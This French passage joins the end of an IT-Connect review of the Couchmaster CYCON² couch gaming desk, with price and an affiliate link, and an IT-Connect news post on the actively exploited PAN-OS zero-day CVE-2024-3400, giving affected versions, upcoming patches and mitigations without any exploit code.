En ce qui concerne l'ergonomie, en complément de mon ressenti et de mon avis, voici l'analyse fournie sur le site officiel de Nerdytec : "D'un point de vue ergonomique, le Couchmaster® CYCON² est particulièrement recommandé. Le physiothérapeute Roland Kellerbach de Cologne-Dellbrück s'exprime en ces termes : "Du point de vue de la santé, je peux dire que le Couchmaster offre la meilleure possibilité ergonomique d'utiliser le PC/l'ordinateur portable depuis le canapé. Grâce aux larges coussins, la musculature des épaules et de la nuque est soulagée pendant l'utilisation, ce qui prévient efficacement les tensions"."

Le seul bémol, mais ça, Nerdytec ne peut pas y faire grand-chose, c'est l'encombrement pour stocker les coussins et le plateau, ainsi que le temps de mise en place avec l'installation des deux coussins, du plateau, puis de l'ordinateur portable ou du clavier et de la souris. Mais, une fois que l'on est installé, on se dit que ça en vaut vraiment la peine ! En revanche, pour les câbles, l'installation est à effectuer une seule fois, donc nous ne perdons pas de temps avec ça à chaque fois.

IV. Conclusion

Si vous aimez jouer ou travailler depuis votre canapé, mais que vous ne parvenez pas à vous installer confortablement, ne cherchez plus : investissez dans un Couchmaster Cycon 2 (ou un autre modèle, selon votre configuration). Peut-être que pour certains d'entre vous, ce sera l'occasion de franchir le pas... C'est un produit vraiment cool et confortable à utiliser.

Le tarif de la version Couchmaster Cycon 2 montrée dans cet article : 179.99 €. Vous pouvez retrouver ce produit sur Amazon.fr via notre lien d'affilié :

• Acheter le Couchmaster Cycon 2 sur Amazon.fr

De plus, sachez que le Couchmaster Cycon 2 est disponible en plusieurs éditions et coloris : CYPUNK (pour les fans de Cyberpunk), Fusion Grey, Titan Black Edition (version de luxe avec des éléments en titane et des coussins en cuir nappa véritable) et Black Edition.

The post Test Couchmaster CYCON² – Un support ergonomique pour jouer ou travailler depuis son canapé first appeared on IT-Connect.

Alerte chez Palo Alto Networks : une faille de sécurité zero-day, non patchée à l'heure actuelle, a déjà été exploitée dans le cadre de plusieurs cyberattaques ! Voici ce que l'on sait !

Le système PAN-OS, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une faille de sécurité critique associée à un score CVSS de 10 sur 10 ! Elle a été découverte par les chercheurs en sécurité de Volexity et elle est désormais associée à la référence CVE-2024-3400. Il s'avère que cette vulnérabilité de type "injection de commande" a été découverte dans la fonction GlobalProtect du système PAN-OS.

Dans la pratique, un attaquant, situé à distance, peut exploiter cette vulnérabilité pour exécuter des commandes sur le firewall, sans aucune interaction de la part d'un utilisateur, et sans disposer de privilèges spéciaux. Il est question ici d'exécuter des commandes en tant qu'administrateur.

À l'heure actuelle, cette faille de sécurité a déjà été exploitée : "Palo Alto Networks a connaissance d'un nombre limité d'attaques qui exploitent cette vulnérabilité", peut-on lire dans le bulletin de sécurité mis en ligne par l'éditeur de solutions de sécurité.

Quelles sont les versions de PAN-OS affectées ?

Les firewalls Palo Alto qui exécute les versions suivantes de PAN-OS sont potentiellement vulnérables : PAN-OS 10.2, 11.0 et 11.1. Ceci affecte uniquement PAN-OS, donc certaines versions spécifiques comme Cloud NGFW et Prisma Access ne sont pas impactées.

Voici le tableau récapitulatif publié par Palo Alto :

Il est important de préciser que l'exploitation de la vulnérabilité dépend de la configuration du firewall : "Ce problème s'applique uniquement aux pare-feu PAN-OS 10.2, PAN-OS 11.0 et PAN-OS 11.1 avec les configurations de la passerelle GlobalProtect et la télémétrie de l'appareil activées.", précise Palo Alto.

Comment se protéger de la CVE-2024-3400 ?

Pour le moment, aucun correctif n'est disponible ! Les correctifs, pour les différentes versions affectées, sont en cours de développement et sont attendus pour le dimanche 14 avril 2024, au plus tard.

Voici les versions qui seront publiées :

• PAN-OS 10.2.9-h1
• PAN-OS 11.0.4-h1
• PAN-OS 11.1.2-h3

En attendant, et avant de partir en week-end, il est impératif de désactiver la télémétrie sur votre firewall, en suivant cette documentation officielle. Ceci empêche l'exploitation de la vulnérabilité.

Sachez que si vous avez un abonnement à la fonction "Threat Prevention", vous pouvez bloquer cette attaque en activant la protection contre la menace avec l'ID 95187. De plus, assurez-vous que cette protection soit activée sur l'interface GlobalProtect, en suivant cette page de la documentation.

Source

The post Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques ! first appeared on IT-Connect.